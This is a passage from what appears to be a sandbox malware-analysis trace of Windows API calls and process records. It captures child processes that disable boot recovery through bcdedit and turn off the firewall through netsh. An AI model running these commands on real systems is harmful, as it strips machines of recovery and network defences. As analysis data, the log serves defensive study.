[0130.703] free (_Block=0x21c774ddeb0) [0130.703] free (_Block=0x21c774ddfd0) [0130.703] free (_Block=0x21c774ddc30) [0130.703] free (_Block=0x21c774dd970) [0130.703] free (_Block=0x21c774d6000) [0130.703] free (_Block=0x21c774ddad0) [0130.703] free (_Block=0x21c774da510) [0130.703] free (_Block=0x21c774ddf90) [0130.703] free (_Block=0x21c774deb40) [0130.703] free (_Block=0x21c774dd8f0) [0130.703] free (_Block=0x21c774ddaf0) [0130.703] free (_Block=0x21c774debc0) [0130.703] free (_Block=0x21c774d5fb0) [0130.703] free (_Block=0x21c774deb90) [0130.703] ?Empty@CHString@@QEAAXXZ () returned 0x7ffcb771674c [0130.703] free (_Block=0x21c774de050) [0130.703] free (_Block=0x21c774ddb10) [0130.703] free (_Block=0x21c774ddf50) [0130.703] free (_Block=0x21c774d5a80) [0130.703] free (_Block=0x21c774d5ad0) [0130.703] free (_Block=0x21c774d5b20) [0130.703] free (_Block=0x21c774ddcd0) [0130.703] free (_Block=0x21c774d5bd0) [0130.703] free (_Block=0x21c774d5f90) [0130.703] free (_Block=0x21c774da850) [0130.704] free (_Block=0x21c774d5f70) [0130.704] free (_Block=0x21c774da650) [0130.704] free (_Block=0x21c774d5f10) [0130.704] free (_Block=0x21c774d5f30) [0130.704] free (_Block=0x21c774d5df0) [0130.704] free (_Block=0x21c774d5e10) [0130.704] free (_Block=0x21c774d5d90) [0130.704] free (_Block=0x21c774d5db0) [0130.704] free (_Block=0x21c774d5e50) [0130.704] free (_Block=0x21c774d5e70) [0130.704] free (_Block=0x21c774d5eb0) [0130.704] free (_Block=0x21c774d5ed0) [0130.704] free (_Block=0x21c774d5cd0) [0130.704] free (_Block=0x21c774d5cf0) [0130.704] free (_Block=0x21c774d5c70) [0130.704] free (_Block=0x21c774d5c90) [0130.704] free (_Block=0x21c774d5d30) [0130.704] free (_Block=0x21c774d5d50) [0130.704] free (_Block=0x21c774d5c10) [0130.704] free (_Block=0x21c774d5c30) [0130.704] free (_Block=0x21c774d5ba0) [0130.704] free (_Block=0x21c774d5b70) [0130.704] free (_Block=0x21c774db420) [0130.704] WbemLocator:IUnknown:Release (This=0x21c771ec0f0) returned 0x2 [0130.704] WbemLocator:IUnknown:Release (This=0x21c77243340) returned 0x0 [0130.705] WbemLocator:IUnknown:Release (This=0x21c77243b20) returned 0x0 [0130.705] WbemLocator:IUnknown:Release (This=0x21c771ec0f0) returned 0x1 [0130.705] ?Empty@CHString@@QEAAXXZ () returned 0x7ffcb771674c [0130.705] WbemLocator:IUnknown:Release (This=0x21c771ec0f0) returned 0x0 [0130.705] free (_Block=0x21c774dda70) [0130.705] free (_Block=0x21c774ddf10) [0130.705] free (_Block=0x21c774da450) [0130.705] free (_Block=0x21c774ddef0) [0130.705] free (_Block=0x21c774ddf30) [0130.705] free (_Block=0x21c774dab50) [0130.705] free (_Block=0x21c774db240) [0130.705] free (_Block=0x21c774db300) [0130.705] free (_Block=0x21c774da810) [0130.705] free (_Block=0x21c774dded0) [0130.705] free (_Block=0x21c774ddc90) [0130.705] free (_Block=0x21c774da950) [0130.705] free (_Block=0x21c774db3e0) [0130.705] free (_Block=0x21c774db320) [0130.705] free (_Block=0x21c774daa10) [0130.706] free (_Block=0x21c774db200) [0130.706] free (_Block=0x21c774db220) [0130.706] free (_Block=0x21c774daa90) [0130.706] free (_Block=0x21c774dd950) [0130.706] free (_Block=0x21c774dde70) [0130.706] free (_Block=0x21c774daa50) [0130.706] free (_Block=0x21c774ddf70) [0130.706] free (_Block=0x21c774dda50) [0130.706] free (_Block=0x21c774dab90) [0130.706] free (_Block=0x21c774db2e0) [0130.706] free (_Block=0x21c774db340) [0130.706] free (_Block=0x21c774da890) [0130.706] free (_Block=0x21c774db120) [0130.706] free (_Block=0x21c774db100) [0130.706] free (_Block=0x21c774da710) [0130.706] free (_Block=0x21c774dda10) [0130.706] free (_Block=0x21c774ddc50) [0130.706] free (_Block=0x21c774da610) [0130.706] free (_Block=0x21c774ddd50) [0130.706] free (_Block=0x21c774dda30) [0130.706] free (_Block=0x21c774da750) [0130.706] free (_Block=0x21c774db0e0) [0130.706] free (_Block=0x21c774db080) [0130.706] free (_Block=0x21c774da490) [0130.706] free (_Block=0x21c774db160) [0130.706] free (_Block=0x21c774db360) [0130.706] free (_Block=0x21c774dab10) [0130.706] free (_Block=0x21c774db260) [0130.706] free (_Block=0x21c774db1c0) [0130.706] free (_Block=0x21c774daad0) [0130.706] free (_Block=0x21c774db140) [0130.707] free (_Block=0x21c774db380) [0130.707] free (_Block=0x21c774da790) [0130.707] free (_Block=0x21c774db3c0) [0130.707] free (_Block=0x21c774db1e0) [0130.707] free (_Block=0x21c774da6d0) [0130.707] free (_Block=0x21c774db1a0) [0130.707] free (_Block=0x21c774db060) [0130.707] free (_Block=0x21c774da690) [0130.707] free (_Block=0x21c774db0c0) [0130.707] free (_Block=0x21c774db280) [0130.707] free (_Block=0x21c774da4d0) [0130.707] free (_Block=0x21c774db3a0) [0130.707] free (_Block=0x21c774db2a0) [0130.707] free (_Block=0x21c774da9d0) [0130.707] free (_Block=0x21c774db0a0) [0130.707] free (_Block=0x21c774db2c0) [0130.707] free (_Block=0x21c774da5d0) [0130.707] CoUninitialize () [0130.734] exit (_Code=-2147217388) [0130.769] free (_Block=0x21c774da7d0) [0130.769] free (_Block=0x21c774d6c40) [0130.769] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.769] free (_Block=0x21c774db4b0) [0130.769] free (_Block=0x21c774d5bf0) [0130.769] free (_Block=0x21c774d6c00) [0130.769] free (_Block=0x21c774d1750) [0130.769] free (_Block=0x21c774d1700) [0130.769] free (_Block=0x21c774d16c0) [0130.769] free (_Block=0x21c774d1660) [0130.769] free (_Block=0x21c774d15e0) [0130.769] free (_Block=0x21c774d15a0) [0130.769] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.769] free (_Block=0x21c774dd890) Thread: id = 207 os_tid = 0xfcc Thread: id = 208 os_tid = 0xfd0 Thread: id = 209 os_tid = 0xfd4 Thread: id = 210 os_tid = 0xfd8 Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x745ce000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "22" os_parent_pid = "0xfc4" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009be1" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 211 os_tid = 0xde4 Thread: id = 212 os_tid = 0xde0 Thread: id = 213 os_tid = 0xddc Thread: id = 214 os_tid = 0xdd8 Thread: id = 215 os_tid = 0xdd0 Thread: id = 216 os_tid = 0xdc8 Thread: id = 217 os_tid = 0xb34 Thread: id = 218 os_tid = 0xb30 Thread: id = 219 os_tid = 0xb2c Thread: id = 220 os_tid = 0xaac Thread: id = 221 os_tid = 0xaa8 Thread: id = 222 os_tid = 0xa74 Thread: id = 223 os_tid = 0xa50 Thread: id = 224 os_tid = 0xa0c Thread: id = 225 os_tid = 0x9c8 Thread: id = 226 os_tid = 0x9b8 Thread: id = 227 os_tid = 0x9b4 Thread: id = 228 os_tid = 0x9a4 Thread: id = 229 os_tid = 0x99c Thread: id = 230 os_tid = 0x988 Thread: id = 231 os_tid = 0x980 Thread: id = 232 os_tid = 0x97c Thread: id = 233 os_tid = 0x978 Thread: id = 234 os_tid = 0x96c Thread: id = 235 os_tid = 0x964 Thread: id = 236 os_tid = 0x954 Thread: id = 237 os_tid = 0x8b4 Thread: id = 238 os_tid = 0x860 Thread: id = 239 os_tid = 0x848 Thread: id = 240 os_tid = 0x5d4 Thread: id = 241 os_tid = 0x4a4 Thread: id = 242 os_tid = 0x418 Thread: id = 243 os_tid = 0x7ec Thread: id = 244 os_tid = 0x7ac Thread: id = 245 os_tid = 0x790 Thread: id = 246 os_tid = 0x77c Thread: id = 247 os_tid = 0x778 Thread: id = 248 os_tid = 0x774 Thread: id = 249 os_tid = 0x770 Thread: id = 250 os_tid = 0x71c Thread: id = 251 os_tid = 0x6e4 Thread: id = 252 os_tid = 0x6e0 Thread: id = 253 os_tid = 0x5e0 Thread: id = 254 os_tid = 0x58c Thread: id = 255 os_tid = 0x4d0 Thread: id = 256 os_tid = 0x4c0 Thread: id = 257 os_tid = 0x8 Thread: id = 258 os_tid = 0x3a4 Thread: id = 259 os_tid = 0x344 Thread: id = 260 os_tid = 0x39c Thread: id = 261 os_tid = 0x324 Thread: id = 262 os_tid = 0x244 Thread: id = 263 os_tid = 0x27c Thread: id = 264 os_tid = 0x29c Thread: id = 265 os_tid = 0x2ac Thread: id = 266 os_tid = 0x178 Thread: id = 267 os_tid = 0x190 Thread: id = 268 os_tid = 0x1a8 Thread: id = 269 os_tid = 0x16c Thread: id = 270 os_tid = 0x3cc Thread: id = 271 os_tid = 0x3c4 Thread: id = 298 os_tid = 0x530 Thread: id = 299 os_tid = 0x50c Thread: id = 300 os_tid = 0x488 Thread: id = 306 os_tid = 0x378 Thread: id = 307 os_tid = 0x390 Process: id = "24" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x3501e000" os_pid = "0xde8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "23" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00036d61" [0xc000000f] Thread: id = 272 os_tid = 0xe14 Thread: id = 273 os_tid = 0xe0c Thread: id = 274 os_tid = 0xe08 Thread: id = 275 os_tid = 0xe04 Thread: id = 276 os_tid = 0xe00 Thread: id = 277 os_tid = 0xdfc Thread: id = 278 os_tid = 0xdf8 Thread: id = 279 os_tid = 0xdf4 Thread: id = 280 os_tid = 0xdf0 Thread: id = 281 os_tid = 0xdec Process: id = "25" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x2fc91000" os_pid = "0xfe8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xf50" cmd_line = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 285 os_tid = 0xfec Thread: id = 286 os_tid = 0xff0 Process: id = "26" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x47845000" os_pid = "0xff4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xf50" cmd_line = "bcdedit /set {default} recoveryenabled no" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 287 os_tid = 0xff8 Thread: id = 288 os_tid = 0xffc Process: id = "27" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0xcc5c000" os_pid = "0x49c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xf58" cmd_line = "netsh firewall set opmode mode=disable" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 301 os_tid = 0x458 [0135.538] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f9ab0000 [0135.538] __set_app_type (_Type=0x1) [0135.538] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6f9aba1c0) returned 0x0 [0135.538] __wgetmainargs (in: _Argc=0x7ff6f9ac7668, _Argv=0x7ff6f9ac7670, _Env=0x7ff6f9ac7678, _DoWildCard=0, _StartInfo=0x7ff6f9ac7684 | out: _Argc=0x7ff6f9ac7668, _Argv=0x7ff6f9ac7670, _Env=0x7ff6f9ac7678) returned 0 [0135.539] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0135.539] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f9ab0000 [0135.539] _vsnwprintf (in: _Buffer=0x7ff6f9ac9b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0xf524ef7808 | out: _Buffer="netsh>") returned 6 [0135.539] GetProcessHeap () returned 0x2b436220000 [0135.539] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eb10 [0135.539] GetProcessHeap () returned 0x2b436220000 [0135.539] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eb30 [0135.539] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e470 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e630 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eb50 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e770 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eb70 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e8d0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e750 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ea90 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e6b0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e9d0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e8f0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ead0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e810 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e4b0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ebd0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e550 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e950 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e970 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e530 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e9b0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e870 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e7f0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eaf0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e9f0 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ea50 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e790 [0135.540] GetProcessHeap () returned 0x2b436220000 [0135.540] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e890 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e670 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ebb0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e4d0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eb90 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ea10 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ea30 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e690 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ea70 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e490 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e910 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e990 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e6d0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e4f0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622eab0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e510 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e7b0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e450 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e570 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e590 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e5b0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e5d0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e5f0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e610 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e650 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e6f0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e8b0 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.541] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e710 [0135.541] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e830 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e730 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e7d0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e850 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622e930 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362302e0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ffa0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362300a0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fce0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fe20 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230040 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362303c0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362301c0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362301e0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fe40 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230340 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fee0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230160 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fdc0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fd00 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230180 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230400 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230280 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] 